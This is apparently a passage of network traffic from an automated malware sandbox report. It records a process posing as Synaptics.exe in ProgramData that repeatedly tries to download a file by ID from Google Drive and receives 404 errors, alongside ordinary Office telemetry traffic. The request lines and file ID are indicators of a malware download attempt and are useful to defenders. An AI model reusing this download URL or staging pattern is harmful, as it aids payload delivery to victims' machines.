2024-11-05 21:44:15 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 48 6f 2d 47 58 57 6d 49 66 52 62 46 79 4a 37 75 68 73 64 51 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="WHo-GXWmIfRbFyJ7uhsdQg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:15 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49775	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-YLYZrLrurPLhDfpsRRFEww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49776	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:14 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:15 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:15 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-afhj_nqUy_P5wnrA_4Vwzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY2dXM5aw7G3GrlzPAZjxqD-MpBdolv3GsaXRXWhzJVhgptm_dOmEKL0CD5Lk3opsZ2BICONV-mfEg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:15 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:15 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 41 55 6f 32 6a 61 4c 45 32 53 43 79 6a 64 44 78 6e 4d 39 6e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="9AUo2jaLE2SCyjdDxnM9nA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:15 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:16 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 00:45:17 GMT ETag: "0x8DCFD331E45FB54" x-ms-request-id: d6fc9ab7-901e-008f-8051-2f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214415Z-16547b76f7fj897nhC1DFWdwq400000005n000000000606x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:16 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-05 21:44:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49779	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-ObkW85LNp-cBTuCKtBLczw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49781	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:16 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:16 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:16 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-MiqEOMeo0fwS9IjqiN4qPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY2MgfzH97gM8mSKZHahaMBZdr3hG-GmfUvJOGLPPAUt_Hsyq3od6wdBYajCSJcPEwzBsqTO6DqHLA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
